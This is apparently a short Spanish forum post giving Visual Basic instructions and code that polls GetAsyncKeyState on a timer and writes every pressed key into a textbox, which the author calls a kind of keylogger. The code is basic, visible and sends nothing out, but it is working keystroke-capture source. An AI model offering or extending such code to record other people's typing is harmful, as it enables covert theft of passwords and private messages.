añades un modulo y en el modulo pones esta API
Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
en el formulario pones un textbox y un timer el timer con interval = 1
en el timer pones esto:
Dim i As Integer, a As Integer
For i = 20 To 255
a = GetAsyncKeyState(i)
If a = -32767 Then
Text1.Text = Text1.Text + Chr(i)
End If
Next
todo lo k vayas escribiendo se va poniendo en el textbox ya tienes una especie de keylogger